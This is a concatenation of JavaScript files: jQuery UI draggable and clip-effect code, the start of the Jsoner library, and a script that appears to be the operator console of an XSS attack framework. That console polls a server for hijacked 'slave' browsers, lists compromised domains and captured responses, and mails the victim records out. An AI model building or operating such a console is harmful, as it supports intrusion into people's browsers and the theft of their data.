- (this.cssPosition == "fixed" || this.PAGEX_INCLUDES_SCROLL || this.OFFSET_PARENT_NOT_SCROLL_PARENT_X ? 0 : this.scrollLeftParent.scrollLeft()) * mod // The offsetParent's scroll position, not if the element is fixed
+ (this.cssPosition == "fixed" ? $(document).scrollLeft() : 0) * mod
+ this.margins.left * mod //Add the margin (you don't want the margin counting in intersection methods)
)
};
},
_generatePosition: function(e) {
var o = this.options;
var position = {
top: (
e.pageY // The absolute mouse position
- this.offset.click.top // Click offset (relative to the element)
- this.offset.relative.top // Only for relative positioned nodes: Relative offset from element to offset parent
- this.offset.parent.top // The offsetParent's offset without borders (offset + border)
+ (this.cssPosition == "fixed" || this.PAGEY_INCLUDES_SCROLL || this.OFFSET_PARENT_NOT_SCROLL_PARENT_Y ? 0 : this.scrollTopParent.scrollTop()) // The offsetParent's scroll position, not if the element is fixed
- (this.cssPosition == "fixed" ? $(document).scrollTop() : 0)
),
left: (
e.pageX // The absolute mouse position
- this.offset.click.left // Click offset (relative to the element)
- this.offset.relative.left // Only for relative positioned nodes: Relative offset from element to offset parent
- this.offset.parent.left // The offsetParent's offset without borders (offset + border)
+ (this.cssPosition == "fixed" || this.PAGEX_INCLUDES_SCROLL || this.OFFSET_PARENT_NOT_SCROLL_PARENT_X ? 0 : this.scrollLeftParent.scrollLeft()) // The offsetParent's scroll position, not if the element is fixed
- (this.cssPosition == "fixed" ? $(document).scrollLeft() : 0)
)
};
if(!this.originalPosition) return position; //If we are not dragging yet, we won't check for options
/*
* - Position constraining -
* Constrain the position to a mix of grid, containment.
*/
if(this.containment) {
if(position.left < this.containment[0]) position.left = this.containment[0];
if(position.top < this.containment[1]) position.top = this.containment[1];
if(position.left > this.containment[2]) position.left = this.containment[2];
if(position.top > this.containment[3]) position.top = this.containment[3];
}
if(o.grid) {
var top = this.originalPosition.top + Math.round((position.top - this.originalPosition.top) / o.grid[1]) * o.grid[1];
position.top = this.containment ? (!(top < this.containment[1] || top > this.containment[3]) ? top : (!(top < this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
var left = this.originalPosition.left + Math.round((position.left - this.originalPosition.left) / o.grid[0]) * o.grid[0];
position.left = this.containment ? (!(left < this.containment[0] || left > this.containment[2]) ? left : (!(left < this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
}
return position;
},
_mouseDrag: function(e) {
//Compute the helpers position
this.position = this._generatePosition(e);
this.positionAbs = this._convertPositionTo("absolute");
//Call plugins and callbacks and use the resulting position if something is returned
this.position = this._propagate("drag", e) || this.position;
if(!this.options.axis || this.options.axis != "y") this.helper[0].style.left = this.position.left+'px';
if(!this.options.axis || this.options.axis != "x") this.helper[0].style.top = this.position.top+'px';
if($.ui.ddmanager) $.ui.ddmanager.drag(this, e);
return false;
},
_mouseStop: function(e) {
//If we are using droppables, inform the manager about the drop
var dropped = false;
if ($.ui.ddmanager && !this.options.dropBehaviour)
var dropped = $.ui.ddmanager.drop(this, e);
if((this.options.revert == "invalid" && !dropped) || (this.options.revert == "valid" && dropped) || this.options.revert === true || ($.isFunction(this.options.revert) && this.options.revert.call(this.element, dropped))) {
var self = this;
$(this.helper).animate(this.originalPosition, parseInt(this.options.revertDuration, 10), function() {
self._propagate("stop", e);
self._clear();
});
} else {
this._propagate("stop", e);
this._clear();
}
return false;
},
_clear: function() {
this.helper.removeClass("ui-draggable-dragging");
if(this.options.helper != 'original' && !this.cancelHelperRemoval) this.helper.remove();
//if($.ui.ddmanager) $.ui.ddmanager.current = null;
this.helper = null;
this.cancelHelperRemoval = false;
},
// From now on bulk stuff - mainly helpers
plugins: {},
uiHash: function(e) {
return {
helper: this.helper,
position: this.position,
absolutePosition: this.positionAbs,
options: this.options
};
},
_propagate: function(n,e) {
$.ui.plugin.call(this, n, [e, this.uiHash()]);
if(n == "drag") this.positionAbs = this._convertPositionTo("absolute"); //The absolute position has to be recalculated after plugins
return this.element.triggerHandler(n == "drag" ? n : "drag"+n, [e, this.uiHash()], this.options[n]);
},
destroy: function() {
if(!this.element.data('draggable')) return;
this.element.removeData("draggable").unbind(".draggable").removeClass('ui-draggable ui-draggable-dragging ui-draggable-disabled');
this._mouseDestroy();
}
}));
$.extend($.ui.draggable, {
version: "@VERSION",
defaults: {
appendTo: "parent",
axis: false,
cancel: ":input",
connectToSortable: false,
containment: false,
cursor: "default",
delay: 0,
distance: 1,
grid: false,
helper: "original",
iframeFix: false,
opacity: 1,
refreshPositions: false,
revert: false,
revertDuration: 500,
scope: "default",
scroll: false,
scrollSensitivity: 20,
scrollSpeed: 20,
snap: false,
snapMode: "both",
snapTolerance: 20,
cssNamespace: "ui"
}
});
$.ui.plugin.add("draggable", "cursor", {
start: function(e, ui) {
var t = $('body');
if (t.css("cursor")) ui.options._cursor = t.css("cursor");
t.css("cursor", ui.options.cursor);
},
stop: function(e, ui) {
if (ui.options._cursor) $('body').css("cursor", ui.options._cursor);
}
});
$.ui.plugin.add("draggable", "zIndex", {
start: function(e, ui) {
var t = $(ui.helper);
if(t.css("zIndex")) ui.options._zIndex = t.css("zIndex");
t.css('zIndex', ui.options.zIndex);
},
stop: function(e, ui) {
if(ui.options._zIndex) $(ui.helper).css('zIndex', ui.options._zIndex);
}
});
$.ui.plugin.add("draggable", "opacity", {
start: function(e, ui) {
var t = $(ui.helper);
if(t.css("opacity")) ui.options._opacity = t.css("opacity");
t.css('opacity', ui.options.opacity);
},
stop: function(e, ui) {
if(ui.options._opacity) $(ui.helper).css('opacity', ui.options._opacity);
}
});
$.ui.plugin.add("draggable", "iframeFix", {
start: function(e, ui) {
$(ui.options.iframeFix === true ? "iframe" : ui.options.iframeFix).each(function() {
$('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>')
.css({
width: this.offsetWidth+"px", height: this.offsetHeight+"px",
position: "absolute", opacity: "0.001", zIndex: 1000
})
.css($(this).offset())
.appendTo("body");
});
},
stop: function(e, ui) {
$("div.ui-draggable-iframeFix").each(function() { this.parentNode.removeChild(this); }); //Remove frame helpers
}
});
$.ui.plugin.add("draggable", "scroll", {
start: function(e, ui) {
var o = ui.options;
var i = $(this).data("draggable");
i.overflowY = function(el) {
do { if(/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-y'))) return el; el = el.parent(); } while (el[0].parentNode);
return $(document);
}(this);
i.overflowX = function(el) {
do { if(/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-x'))) return el; el = el.parent(); } while (el[0].parentNode);
return $(document);
}(this);
if(i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') i.overflowYOffset = i.overflowY.offset();
if(i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') i.overflowXOffset = i.overflowX.offset();
},
drag: function(e, ui) {
var o = ui.options, scrolled = false;
var i = $(this).data("draggable");
if(i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') {
if((i.overflowYOffset.top + i.overflowY[0].offsetHeight) - e.pageY < o.scrollSensitivity)
i.overflowY[0].scrollTop = scrolled = i.overflowY[0].scrollTop + o.scrollSpeed;
if(e.pageY - i.overflowYOffset.top < o.scrollSensitivity)
i.overflowY[0].scrollTop = scrolled = i.overflowY[0].scrollTop - o.scrollSpeed;
} else {
if(e.pageY - $(document).scrollTop() < o.scrollSensitivity)
scrolled = $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
if($(window).height() - (e.pageY - $(document).scrollTop()) < o.scrollSensitivity)
scrolled = $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
}
if(i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') {
if((i.overflowXOffset.left + i.overflowX[0].offsetWidth) - e.pageX < o.scrollSensitivity)
i.overflowX[0].scrollLeft = scrolled = i.overflowX[0].scrollLeft + o.scrollSpeed;
if(e.pageX - i.overflowXOffset.left < o.scrollSensitivity)
i.overflowX[0].scrollLeft = scrolled = i.overflowX[0].scrollLeft - o.scrollSpeed;
} else {
if(e.pageX - $(document).scrollLeft() < o.scrollSensitivity)
scrolled = $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
if($(window).width() - (e.pageX - $(document).scrollLeft()) < o.scrollSensitivity)
scrolled = $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
}
if(scrolled !== false)
$.ui.ddmanager.prepareOffsets(i, e);
}
});
$.ui.plugin.add("draggable", "snap", {
start: function(e, ui) {
var inst = $(this).data("draggable");
inst.snapElements = [];
$(ui.options.snap.constructor != String ? ( ui.options.snap.items || ':data(draggable)' ) : ui.options.snap).each(function() {
var $t = $(this); var $o = $t.offset();
if(this != inst.element[0]) inst.snapElements.push({
item: this,
width: $t.outerWidth(), height: $t.outerHeight(),
top: $o.top, left: $o.left
});
});
},
drag: function(e, ui) {
var inst = $(this).data("draggable");
var d = ui.options.snapTolerance;
var x1 = ui.absolutePosition.left, x2 = x1 + inst.helperProportions.width,
y1 = ui.absolutePosition.top, y2 = y1 + inst.helperProportions.height;
for (var i = inst.snapElements.length - 1; i >= 0; i--){
var l = inst.snapElements[i].left, r = l + inst.snapElements[i].width,
t = inst.snapElements[i].top, b = t + inst.snapElements[i].height;
//Yes, I know, this is insane ;)
if(!((l-d < x1 && x1 < r+d && t-d < y1 && y1 < b+d) || (l-d < x1 && x1 < r+d && t-d < y2 && y2 < b+d) || (l-d < x2 && x2 < r+d && t-d < y1 && y1 < b+d) || (l-d < x2 && x2 < r+d && t-d < y2 && y2 < b+d))) {
if(inst.snapElements[i].snapping) (inst.options.snap.release && inst.options.snap.release.call(inst.element, null, $.extend(inst.uiHash(), { snapItem: inst.snapElements[i].item })));
inst.snapElements[i].snapping = false;
continue;
}
if(ui.options.snapMode != 'inner') {
var ts = Math.abs(t - y2) <= d;
var bs = Math.abs(b - y1) <= d;
var ls = Math.abs(l - x2) <= d;
var rs = Math.abs(r - x1) <= d;
if(ts) ui.position.top = inst._convertPositionTo("relative", { top: t - inst.helperProportions.height, left: 0 }).top;
if(bs) ui.position.top = inst._convertPositionTo("relative", { top: b, left: 0 }).top;
if(ls) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l - inst.helperProportions.width }).left;
if(rs) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r }).left;
}
var first = (ts || bs || ls || rs);
if(ui.options.snapMode != 'outer') {
var ts = Math.abs(t - y1) <= d;
var bs = Math.abs(b - y2) <= d;
var ls = Math.abs(l - x1) <= d;
var rs = Math.abs(r - x2) <= d;
if(ts) ui.position.top = inst._convertPositionTo("relative", { top: t, left: 0 }).top;
if(bs) ui.position.top = inst._convertPositionTo("relative", { top: b - inst.helperProportions.height, left: 0 }).top;
if(ls) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l }).left;
if(rs) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r - inst.helperProportions.width }).left;
}
if(!inst.snapElements[i].snapping && (ts || bs || ls || rs || first))
(inst.options.snap.snap && inst.options.snap.snap.call(inst.element, null, $.extend(inst.uiHash(), { snapItem: inst.snapElements[i].item })));
inst.snapElements[i].snapping = (ts || bs || ls || rs || first);
};
}
});
$.ui.plugin.add("draggable", "connectToSortable", {
start: function(e,ui) {
var inst = $(this).data("draggable");
inst.sortables = [];
$(ui.options.connectToSortable).each(function() {
if($.data(this, 'sortable')) {
var sortable = $.data(this, 'sortable');
inst.sortables.push({
instance: sortable,
shouldRevert: sortable.options.revert
});
sortable._refreshItems(); //Do a one-time refresh at start to refresh the containerCache
sortable._propagate("activate", e, inst);
}
});
},
stop: function(e,ui) {
//If we are still over the sortable, we fake the stop event of the sortable, but also remove helper
var inst = $(this).data("draggable");
$.each(inst.sortables, function() {
if(this.instance.isOver) {
this.instance.isOver = 0;
inst.cancelHelperRemoval = true; //Don't remove the helper in the draggable instance
this.instance.cancelHelperRemoval = false; //Remove it in the sortable instance (so sortable plugins like revert still work)
if(this.shouldRevert) this.instance.options.revert = true; //revert here
this.instance._mouseStop(e);
//Also propagate receive event, since the sortable is actually receiving a element
this.instance.element.triggerHandler("sortreceive", [e, $.extend(this.instance.ui(), { sender: inst.element })], this.instance.options["receive"]);
this.instance.options.helper = this.instance.options._helper;
} else {
this.instance.cancelHelperRemoval = false; //Remove the helper in the sortable instance
this.instance._propagate("deactivate", e, inst);
}
});
},
drag: function(e,ui) {
var inst = $(this).data("draggable"), self = this;
var checkPos = function(o) {
var l = o.left, r = l + o.width,
t = o.top, b = t + o.height;
return (l < (this.positionAbs.left + this.offset.click.left) && (this.positionAbs.left + this.offset.click.left) < r
&& t < (this.positionAbs.top + this.offset.click.top) && (this.positionAbs.top + this.offset.click.top) < b);
};
$.each(inst.sortables, function(i) {
if(checkPos.call(inst, this.instance.containerCache)) {
//If it intersects, we use a little isOver variable and set it once, so our move-in stuff gets fired only once
if(!this.instance.isOver) {
this.instance.isOver = 1;
//Now we fake the start of dragging for the sortable instance,
//by cloning the list group item, appending it to the sortable and using it as inst.currentItem
//We can then fire the start event of the sortable with our passed browser event, and our own helper (so it doesn't create a new one)
this.instance.currentItem = $(self).clone().appendTo(this.instance.element).data("sortable-item", true);
this.instance.options._helper = this.instance.options.helper; //Store helper option to later restore it
this.instance.options.helper = function() { return ui.helper[0]; };
e.target = this.instance.currentItem[0];
this.instance._mouseCapture(e, true);
this.instance._mouseStart(e, true, true);
//Because the browser event is way off the new appended portlet, we modify a couple of variables to reflect the changes
this.instance.offset.click.top = inst.offset.click.top;
this.instance.offset.click.left = inst.offset.click.left;
this.instance.offset.parent.left -= inst.offset.parent.left - this.instance.offset.parent.left;
this.instance.offset.parent.top -= inst.offset.parent.top - this.instance.offset.parent.top;
inst._propagate("toSortable", e);
}
//Provided we did all the previous steps, we can fire the drag event of the sortable on every draggable drag, when it intersects with the sortable
if(this.instance.currentItem) this.instance._mouseDrag(e);
} else {
//If it doesn't intersect with the sortable, and it intersected before,
//we fake the drag stop of the sortable, but make sure it doesn't remove the helper by using cancelHelperRemoval
if(this.instance.isOver) {
this.instance.isOver = 0;
this.instance.cancelHelperRemoval = true;
this.instance.options.revert = false; //No revert here
this.instance._mouseStop(e, true);
this.instance.options.helper = this.instance.options._helper;
//Now we remove our currentItem, the list group clone again, and the placeholder, and animate the helper back to it's original size
this.instance.currentItem.remove();
if(this.instance.placeholder) this.instance.placeholder.remove();
inst._propagate("fromSortable", e);
}
};
});
}
});
$.ui.plugin.add("draggable", "stack", {
start: function(e,ui) {
var group = $.makeArray($(ui.options.stack.group)).sort(function(a,b) {
return (parseInt($(a).css("zIndex"),10) || ui.options.stack.min) - (parseInt($(b).css("zIndex"),10) || ui.options.stack.min);
});
$(group).each(function(i) {
this.style.zIndex = ui.options.stack.min + i;
});
this[0].style.zIndex = ui.options.stack.min + group.length;
}
});
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Effects Clip @VERSION
*
* Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Effects/Clip
*
* Depends:
* effects.core.js
*/
(function($) {
$.effects.clip = function(o) {
return this.queue(function() {
// Create element
var el = $(this), props = ['position','top','left','height','width'];
// Set options
var mode = $.effects.setMode(el, o.options.mode || 'hide'); // Set Mode
var direction = o.options.direction || 'vertical'; // Default direction
// Adjust
$.effects.save(el, props); el.show(); // Save & Show
var wrapper = $.effects.createWrapper(el).css({overflow:'hidden'}); // Create Wrapper
var animate = el[0].tagName == 'IMG' ? wrapper : el;
var ref = {
size: (direction == 'vertical') ? 'height' : 'width',
position: (direction == 'vertical') ? 'top' : 'left'
};
var distance = (direction == 'vertical') ? animate.height() : animate.width();
if(mode == 'show') { animate.css(ref.size, 0); animate.css(ref.position, distance / 2); } // Shift
// Animation
var animation = {};
animation[ref.size] = mode == 'show' ? distance : 0;
animation[ref.position] = mode == 'show' ? 0 : distance / 2;
// Animate
animate.animate(animation, { queue: false, duration: o.duration, easing: o.options.easing, complete: function() {
if(mode == 'hide') el.hide(); // Hide
$.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
if(o.callback) o.callback.apply(el[0], arguments); // Callback
el.dequeue();
}});
});
};
})(jQuery);
|
JavaScript
|
var jTools = new Jsoner();
// 从server取数据到本地
function initData(){
/**************************
* 各种效果
**************************/
setTimeout(function(){$("#logo").effect("bounce", {}, 400);}, 3000);
$("#logo").click(function(){$("#logo").effect("bounce", {}, 400);});
//$("#basictab > li").effect("slide", {direction:"down"}, 800);
if (document.getElementById("xssSites")){
setTimeout(function(){
$("#xssSites").effect("slide", {direction:"left"}, 800);
$("#xssSites")[0].style.visibility = "visible";
}, 50);
$("#xssSites").draggable();
}
//$("#shiftcontainer").effect("bounce", {}, 800);
// 可拖拽
$("#logo").draggable();
//$("#shiftcontainer").draggable();
$("li").draggable();
$("td").draggable();
/**************************
* 初始化数据
**************************/
// 先取一次记录
$.getJSON("../server/jsoncallback.php?jsoncallback=getSlaveData",
function(data){
//alert(data);
// 所有slave记录都存到cache中
anehtaCache.setItem("slaveRecords", data.slaveData);
// 释放内存
setTimeout(function(){data = null;}, 500);
setTimeout(function(){loadXSSsites();},1000);
});
// 然后每隔10秒钟去取一次slave记录
setInterval(function(){
var key;
if (slaveData){
key = slaveData.record.length;
} else {
key = 1;
}
var ts = new Date();
$.getJSON("../server/jsoncallback.php?jsoncallback=updateSlaveData&key="+key+"&ts="+ts.getTime(),
//$.getJSON("../server/jsoncallback.php?jsoncallback=getSlaveData",
function(data){
//alert(data);
// 所有slave记录都存到cache中
if (slaveData){ // 已经有定义; 需要把更新的记录附在原来的后面两个json对象
for (i=0; i<data.length; i++){
jTools.addChild(slaveData, "record", data[i]);
}
//alert(slaveData.record.length);
anehtaCache.setItem("slaveRecords", slaveData);
} else { // 没有定义
//anehtaCache.setItem("slaveRecords", data.slaveData);
setTimeout(function(){ window.location.reload(true);}, 2000); // 刷新页面
}
// 释放内存
setTimeout(function(){data = null;}, 500);
setTimeout(function(){loadXSSsites();},1000);
});
},
20000); // 20秒
}
/*************************************
* 动态生成 left bar
*************************************/
var slaveData;
var slaveWatermark = new Array();
var slaves = new Array(); // slave 的获取和判断放到了 dropdownmenu()函数中
function loadXSSsites(){
//alert("load XSS Sites");
// 释放内存先
slaveData = null;
slaveData = anehtaCache.getItem("slaveRecords");
var requestURI;
var xssDomain
var sites = new Array();
var tag;
var leftbar;
if ($d.getElementById("xssSites")){
leftbar = $("#xssSites")[0]; // 获取div
if (!slaveData){
return false;
}
// 获取sites
for (i=0; i< slaveData.record.length; i++){
//alert(anehta.crypto.base64Decode(slaveData.record[i].xssGot.ajaxPostResponse));
requestURI = $.trim(slaveData.record[i].xssGot.requestURI);
xssDomain = requestURI.split('/'); // 获取domain
xssDomain = xssDomain[2];
sites[i] = xssDomain;
// 检查是否有相同记录
if (i>0){
tag = 0;
for (j=0; j<i; j++){
if (sites[i] == sites[j]){
//alert("catch the duplicated!");
tag = 1;
break;
}
}
if (tag ==1){
continue;
}
}
// 如果和现有的li里记录相同则也不增加
tag = 0;
for (j=0; j<leftbar.getElementsByTagName('ul')[0].getElementsByTagName('li').length; j++){
if ( sites[i] == leftbar.getElementsByTagName('ul')[0].getElementsByTagName('li')[j].getElementsByTagName('a')[0].innerHTML){
tag = 1;
break;
}
}
if (tag == 1){
continue;
}
// 增加一个site记录
var li = $d.createElement('li');
li.innerHTML = "<a onMouseover=\"dropdownmenu(this, event, slaves, '150px')\" onMouseout=\"delayhidemenu()\" href='#'>"+xssDomain+"<\/a>";
leftbar.getElementsByTagName('ul')[0].appendChild(li);
}
}
// 释放内存
setTimeout(function(){sites = null;}, 1000);
}
/*******************************************
* 根据 slaveid生成滑动menu
*******************************************/
/***********************************************
* AnyLink Vertical Menu- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/
//Contents for menu 1
var menu1=new Array()
menu1[0]='<a href="http://www.javascriptkit.com">JavaScript Kit</a>'
//Contents for menu 2, and so on
var menu2=new Array()
var disappeardelay=250 //menu disappear speed onMouseout (in miliseconds)
var horizontaloffset=2 //horizontal offset of menu from default location. (0-5 is a good value)
/////No further editting needed
var ie4=document.all
var ns6=document.getElementById&&!document.all
if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width: 160px" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')
function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}
function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top=-500
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}
function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x-obj.offsetWidth < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure+obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move menu up?
edgeoffset=dropmenuobj.contentmeasure-obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either? (position at top of viewable window then)
edgeoffset=dropmenuobj.y
}
}
return edgeoffset
}
function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}
var obj_call_dropdownmenu;
function dropdownmenu(obj, e, menucontents, menuwidth){
obj_call_dropdownmenu = obj; // 标记是谁调用的本函数
// 根据xssDomain获取slaves
//slaveData = anehtaCache.getItem("slaveRecords");
for (i=0; i< slaveData.record.length; i++){
if ( ($.trim(slaveData.record[i].xssGot.requestURI).split('/'))[2] == obj.innerHTML){
// 从cache中取出slave watermark, 只取出在当前域名下的记录
slaveWatermark[i] = $.trim(slaveData.record[i].slaveWatermark);
//alert("进入域名判断"+slaveWatermark[i]);
// 检查是否有相同记录
if (i>0){
tag = 0;
for (j=0; j<i; j++){
if (slaveWatermark[i] == slaveWatermark[j]){
//alert("catch the duplicated!");
tag = 1;
break;
}
}
if (tag ==1){
continue;
}
}
//alert("after catch"+slaveWatermark[i]);
slaves[i] = "<a onclick='return dosomething(this);' href='#'>"+slaveWatermark[i]+"</a>";
}
}
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)
if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+obj.offsetWidth+horizontaloffset+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+"px"
}
slaves = new Array(); // clear
slaveWatermark = new Array();
return clickreturnvalue()
}
function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}
function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}
function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}
function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}
function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}
function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}
/*******************************************
* 把所有的slave记录mail到邮箱
* 并在服务器上删除
*******************************************/
function dumpToMail(){
var confirm = document.createElement("div");
confirm.id = "confirm_mail";
confirm.style.border = "1px solid black";
confirm.style.background = "white";
confirm.innerHTML = "<div style='float:left; margin: 15 15 15 15px; fontFamily: Verdana,Arial,Helvetica,sans-serif; font-size:14px; color: #200;'>" +
"您确定要在服务器上删除所有Slave记录,并发送至配置文件中指定的邮箱吗?<br><br><br>" +
"<button id='confirm_mail_yes' class='formbutton2' style='float:left; margin-left: 45px; width: 55px; height: 25px;' onclick='javascript:sendSlaveMail();'>Yes</button>" +
"<button id='confirm_mail_cancel' class='formbutton2' style='float:right; margin-right: 45px; width: 55px; height: 25px;' onclick='javascript:$(\"#logo\")[0].style.zIndex = \"19999\"; $(\"#confirm_mail\").dialog(\"destroy\").remove();'>Cancel</button>" +
"</div>";
$d.body.appendChild(confirm);
$("#confirm_mail").dialog({
open: function(){
$("#logo")[0].style.zIndex = "1000";
$("#confirm_mail_cancel")[0].focus();
},
modal: true,
title: " Warning!",
overlay: {
opacity: 0.8,
background: "#cccccc"
},
dialogClass: "../server/css/style.css",
draggable: false,
close: function(){
$("#logo")[0].style.zIndex = "19999";
$("#confirm_mail").dialog("destroy").remove();
}
});
}
function sendSlaveMail(){
var image = new Image();
image.style.width = 0;
image.style.height = 0;
image.src = "../server/mail.php";
$("#logo")[0].style.zIndex = "19999";
$("#confirm_mail").dialog("destroy").remove();
}
|
JavaScript
|
/**
* Copyright (c) 2007, Softamis, http://soft-amis.com
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: Alexey Luchkovsky
* E-mail: jsoner@soft-amis.com
*
* Version: 1.24
* Last modified: 06/06/2007
*/
/**
* Class identifier.
* @private
*/
var UPDATER =
{
version: 1.24
};
/**
* @fileoverview
* <p>
* The module contains periodicaly Executor and Updatable Action Manager implementaion.
* </p>
* <p>
* Executor represents a simple facility
* for periodical execution of a process with a appointed interval
* between each calls fixed times.
* Executor allows to join several process in one chain or create
* tree structured process chaining.
* Executor provides a mechanism that prevent parallel executions of
* the processes which are tooks longer than the defined interval to execute.
* Executor allows to specify callback function that will be invoked when
* process have been finished.
* </p>
* <p>
* Main purpose of Updatable Action Manager is creation of
* loosely coupled action-based architecture.
* </p>
* <p>
* Updatable Action Manager represents a action manager which
* is a keyboard event listener on the one side and
* periodical process with a appointed interval on the other side.
* Periodical process is used to update actions status and related HTML components
* by particular logic.
* Keyboard event listener allowes to connect hot keys with actions and "magic word" with
* switch actions ON.
* Action invocation API simplify definion of particular action logic
* because action status checker carries out on separate level.
* Usualy the same logic is used to check action pre-conditions and
* caller DOM node status (enabled-disabled).
* Additionaly, updatable action manager helps to create
* action repeated invocation functionality as a result of a long mouse event.
*
* Main features of upadatable action manager are:
* <ul>
* <li> Chains action with HTML component/components to change their UI according to action status.
* For example, enable - disable the component or highlight on validation error or
* particular business logic the component.
* <li>Simplify defintion of component event listener because action
* preconditions are carried out on separate level and automaticaly called
* before action invocation.
* <li> Invokes action by hot key.
* <li> Switch ON - OFF actions by "magic word".
* <li> Updatable action manager helps to create action repeated invocation
* functionality as a result of long mouse event.
* </ul>
* </p>
*/
var UpdaterDOMUtils = {}
UpdaterDOMUtils.ELEMENT_NODE = 1;
UpdaterDOMUtils.TEXT_NODE = 3;
UpdaterDOMUtils.DOCUMENT_NODE = 9;
UpdaterDOMUtils.getElement = function(anElement)
{
var result = COMMONS.isString(anElement) ? document.getElementById(anElement) : anElement;
return result;
};
UpdaterDOMUtils.getDocument = function(anElement)
{
var result = anElement;
if ( anElement.nodeType !== this.DOCUMENT_NODE )
{
result = anElement.ownerDocument;
}
return result;
};
UpdaterDOMUtils.addEventListener = function(anObject, aEventName, aCallback)
{
var element = this.getElement(anObject);
if (element )
{
if (COMMONS.isIE)
{
element.attachEvent("on" + aEventName, aCallback);
}
else
{
element.addEventListener(aEventName, aCallback, true);
}
}
};
UpdaterDOMUtils.removeEventListener = function(anObject, aEventName, aCallback)
{
var element = this.getElement(anObject);
if (element )
{
if (COMMONS.isIE)
{
element.detachEvent("on" + aEventName, aCallback);
}
else
{
element.removeEventListener(aEventName, aCallback, true);
}
}
};
UpdaterDOMUtils.getEventTarget = function(anEvent)
{
var result = anEvent.srcElement || anEvent.target;
if (result && result.nodeType === this.TEXT_NODE )
{
result = result.parentNode;
}
return result;
};
UpdaterDOMUtils.getEventKeyCode = function(anEvent)
{
var result = anEvent.keyCode || anEvent.charCode;
return result;
};
/**
* Executor represents a simple facility
* for periodical execution of a process with a appointed interval
* between each calls.
* Executor allows to join several process in one chain or create
* tree structured process chaining.
* Executor provides a mechanism that prevents parallel executions of
* the processes which take longer than the defined interval to execute.
* Executor allows to specify callback function that will be invoked when
* process have been finished.
* @constuctor
*
* @param {Function} The process.
* @param {Integer} The appointed interval between each calls of given process.
* @param {Integer} The counter.
